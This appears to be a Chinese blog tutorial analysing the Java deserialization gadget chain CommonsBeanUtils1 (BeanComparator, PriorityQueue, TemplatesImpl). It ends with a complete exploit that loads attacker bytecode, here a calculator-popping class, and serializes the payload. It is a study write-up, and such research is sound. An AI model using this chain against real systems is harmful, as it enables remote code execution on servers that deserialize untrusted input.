Featured image of post java反序列化之CommonsBeanUtils1链

java反序列化之CommonsBeanUtils1链

java反序列化链子之CB1链

环境

  • jdk8
  • 依赖
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<dependency>  
 <groupId>commons-beanutils</groupId>  
 <artifactId>commons-beanutils</artifactId>  
 <version>1.9.2</version>  
</dependency>  
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
<dependency>  
 <groupId>commons-collections</groupId>  
 <artifactId>commons-collections</artifactId>  
 <version>3.1</version>  
</dependency>  
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->  
<dependency>  
 <groupId>commons-logging</groupId>  
 <artifactId>commons-logging</artifactId>  
 <version>1.2</version>  
</dependency>

CommonsBeanUtils 简介

Apache Commons 工具集下除了 collections 以外还有 BeanUtils ,它主要用于操控 JavaBean

  • 以 Utils 结尾,一般这都是一个工具类/集

先说说 JavaBean 的这个概念

这里指的就是实体类的 get,set 方法,其实在 IDEA 当中用 Lombok 插件就可以替换 JavaBean。

关于 JavaBean 的说明可以参考廖雪峰老师的文章

CommonsBeanUtils 这个包也可以操作 JavaBean,举例如下:

比如 Baby 是一个最简单的 JavaBean 类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public class Baby {  
    private String name = "Drunkbaby";  
  
 public String getName(){  
        return name;  
 }  
  
    public void setName (String name) {  
        this.name = name;  
 }  
}

这里定义两个简单的 getter setter 方法,如果用 @Lombok 的注解也是同样的,使用 @Lombok 的注解不需要写 getter setter。

Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法,示例如下

1
2
3
4
5
6
7
import org.apache.commons.beanutils.PropertyUtils;  
  
public class CBMethods {  
    public static void main(String[] args) throws Exception{  
        System.out.println(PropertyUtils.getProperty(new Baby(), "name"));  
 }  
}

此时,Commons-BeanUtils 会自动找到 name 属性的getter 方法,也就是 getName ,然后调用并获得返回值。这个形式就很自然得想到能任意函数调用。

CommonsBeanUtils1 链子分析

链子尾部

我们链子的尾部是通过动态加载 TemplatesImpl 字节码的方式进行攻击的,原因很简单:

在之前讲动态加载 TemplatesImpl 字节码的时候,我们的链子是这样的

1
2
3
4
5
6
  TemplatesImpl.newTransformer()
    TemplatesImpl.getTransletInstance()
      TemplatesImpl.defineTransletClasses()
        TemplatesImpl.defineClass()
          ClassLoader.defineClass()
            newInstance
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
Field name = templatesclass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Y9sR");

Field codes  = templatesclass.getDeclaredField("_bytecodes");
codes.setAccessible(true);

byte[] evil = Files.readAllBytes(Paths.get("E:\\javawork\\cc3\\src\\main\\java\\cc3\\calc.class"));
//{}包含一个数组的数组
byte[][] code = {evil};
codes.set(templates,code);
Field field = templatesclass.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();

getOutputProperties调用了newTransformer

getOutputProperties很像javabean的OutputPropertiesget方法

可以通过PropertyUtils.getProperty(TemplatesImpl,"outputProperties")

从而触发TemplatesImpl.getOutputProperties进入链子尾部

链子中部

PropertyUtils.getProperty找到BeanComparatorcompare

链子首部

继续找compare的时候找到PriorityQueue,和cc4链子的前部分链一样

继续找

这里在cc4链子的时候就注意到size设为2时刚好进入for循环

1
2
priorityQueue.add(1);
priorityQueue.add(1);

找到入口点

编写exp

通过反射修改property的值为outputProperties

1
2
3
4
Class cc  = BeanComparator.class;
    Field field2 = cc.getDeclaredField("property");
    field2.setAccessible(true);
    field2.set(beanComparator,"outputProperties");

因为add也会调用compare,导致序列化前也会弹计算器,所以这里add传入无关参数

1
2
3
PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
priorityQueue.add(1);
priorityQueue.add(1);

再通过反射修改queue的值

1
2
3
4
Class ccc = PriorityQueue.class;
    Field field3 = ccc.getDeclaredField("queue");
    field3.setAccessible(true);
    field3.set(priorityQueue,new Object[]{templates,templates});

为什么不能像cc4那样

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = TransformingComparator.class;
Field field1 = c.getDeclaredField("transformer");
field1.setAccessible(true);
field1.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);

在创建PriorityQueue对象的时候就给个假的,然后在后面反射修改?

1
2
priorityQueue.add(templates);
priorityQueue.add(templates);

add传入的时候刚好到参数里

因为这里add传入类会报错直接死,所以只能通过后面反射修改queue

完整exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
Field name = templatesclass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Y9sR");

Field codes  = templatesclass.getDeclaredField("_bytecodes");
codes.setAccessible(true);

byte[] evil = Files.readAllBytes(Paths.get("E:\\javawork\\cc3\\src\\main\\java\\cc3\\calc.class"));
//{}包含一个数组的数组
byte[][] code = {evil};
codes.set(templates,code);
Field field = templatesclass.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();

final BeanComparator beanComparator = new BeanComparator();

//        beanComparator.compare(templates,templates);



PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
priorityQueue.add(1);
priorityQueue.add(1);

Class c = PriorityQueue.class;
Field field1 = c.getDeclaredField("comparator");
field1.setAccessible(true);
field1.set(priorityQueue,beanComparator);

Class cc  = BeanComparator.class;
Field field2 = cc.getDeclaredField("property");
field2.setAccessible(true);
field2.set(beanComparator,"outputProperties");

Class ccc = PriorityQueue.class;
Field field3 = ccc.getDeclaredField("queue");
field3.setAccessible(true);
field3.set(priorityQueue,new Object[]{templates,templates});

serialize(priorityQueue);
unserialize("ser.bin");

流程图

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
PriorityQueue.readObject()
  PriorityQueue.heapify()
    PriorityQueue.siftDown()
      PriorityQueue.siftDownUsingComparator()           
        BeanComparator.compare()
          PropertyUtils.getProperty()
            TemplatesImpl.getOutputProperties()
              TemplatesImpl.newTransformer()
                TemplatesImpl.getTransletInstance()
                  TemplatesImpl.defineTransletClasses()
                    TemplatesImpl.defineClass()
                      ClassLoader.defineClass()
                        newInstance

到这里链子都过完了

最后更新于 Mar 03, 2025 07:35 UTC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计